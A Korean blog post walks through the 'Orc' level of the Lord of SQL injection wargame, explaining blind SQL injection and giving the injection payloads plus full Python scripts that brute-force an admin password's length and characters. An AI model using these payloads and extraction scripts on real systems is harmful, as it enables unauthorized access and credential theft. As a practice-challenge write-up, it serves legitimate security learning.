Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

D1N0's hacking blog

Lord of SQL injection - Orc 본문

Web/Lord of SQL injection

Lord of SQL injection - Orc

D1N0 2020. 11. 10. 23:39

Blind SQL injection이란?

DB에 대한 메시지를 알 수 없는 경우 사용되는 공격 방법이다

페이지가 잘 나오는지, 에러가 나는지를 통해 각 조건의 참, 거짓을 받아서 DB를 알아낼 수 있다

예를 들어 up/down게임처럼 원하는 문자가 7인걸 알기 위해

5보다 큰가? T

-> 8보다 큰가? F

-> 6인가? F

-> 7인가? T의 순서로 원하는 정보를 얻어오는 것과 비슷하다

문제 풀이

코드를 보면 SQL문 외에 직접적으로 pw를 비교하는 부분이 있기 때문에 pw를 구해야 한다

SQL 쿼리에 SQL injection 취약점이 존재하므로 Blind SQL injection으로 pw를 알아낼 수 있다

STEP 0 - SQL injection 취약점 확인

pw=' or id='admin' and 1=1;%23

이렇게 쓰면 쿼리가 select id from prob_orc where id='admin' and pw='' or id='admin' and 1=1;#'가 된다

그리고 Hello admin이 출력되는 것을 볼 수 있다

하지만 아직 solve가 되지는 않았기 때문에 진짜 pw를 구해야 한다

STEP 1 - pw 길이 구하기

좀 더 빠르고 정확한 공격을 위해 먼저 pw의 길이를 구해야 한다

SQL에서 문자열의 길이는 length함수를 통해 구할 수 있다

pw=' or id='admin' and length(pw) = [길이 추측];%23

길이 추측 부분에는 1부터 하나씩 증가시키면서 Hello admin이 뜰 때까지 돌려봐야 한다

추측한 길이가 맞다면 Hello admin이 출력될 것이다

그러나 이걸 일일이 직접 하기에는 너무 귀찮고 시간도 아까워서 파이썬 코드로 짰다

import requests

target = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

######get pw length#######

for i in range(100):
    pay = f"?pw=' or id='admin' and length(pw)={i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

i를 증가시키다가 Hello admin이 나오면 length를 출력하고 반복을 멈춘다

세션 값에는 PHPSESSID 쿠키를 적으면 된다

코드를 실행하면 length가 8이라는 것을 알 수 있다

STEP 2 - pw 구하기

pw길이를 알았으니 pw의 각 글자들이 어떤 글자와 같은지 비교해서 pw를 알아낼 수 있다

SQL에서 문자열은 substr(문자열, 몇 번째부터 자를 것인가, 몇 개를 자를 것인가)로 자를 수 있다

우리는 한 글자씩 받아올 것이기 때문에 substr(pw,[1~8],1)을 사용하면 된다

그리고 숫자와 비교하는 것이 편하기 때문에 SQL에서 문자에 해당하는 아스키 숫자를 반환하는 함수인 ord()를 사용해 pw를 숫자로 받아온다

?pw=' or id='admin' and ord(substr(pw, [몇 번째 글자인지],1))=[뭐와 비교하는지];%23

각 글자마다 비교를 해서 총 8번을 구하면 된다

이 역시 파이썬 코드로 구할 수 있다

import requests

target = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

length = 8

pw = str()
for i in range(1, length + 1):
    for j in range(32, 127): #일반적인 아스키문자의 범위
        pay = f"?pw=' or id='admin' and ord(substr(pw,{i},1))={j};%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            pw += chr(j)
            break
print("pw :", pw)

실행하면 pw는 095a9852가 나온다(pw값은 매번 바뀌는 듯하다)

STEP 3 - 인증

pw에 아까 구한 095a9852를 넣으면 클리어 된다

pw=095a9852

전체 코드

import requests

target = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

######get pw length#######

for i in range(100):
    pay = f"?pw=' or id='admin' and length(pw)={i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

#######get pw#######

pw = str()
for i in range(1, length + 1):
    for j in range(32, 127):
        pay = f"?pw=' or id='admin' and ord(substr(pw,{i},1))={j};%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            pw += chr(j)
            break
print("pw :", pw)

'Web > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection - Darkelf  (0) 2020.11.11
Lord of SQL injection - Wolfman  (0) 2020.11.11
Lord of SQL injection - Goblin  (0) 2020.11.10
Lord of SQL injection - Cobolt  (0) 2020.11.10
Lord of SQL injection - Gremlin  (0) 2020.11.10
Comments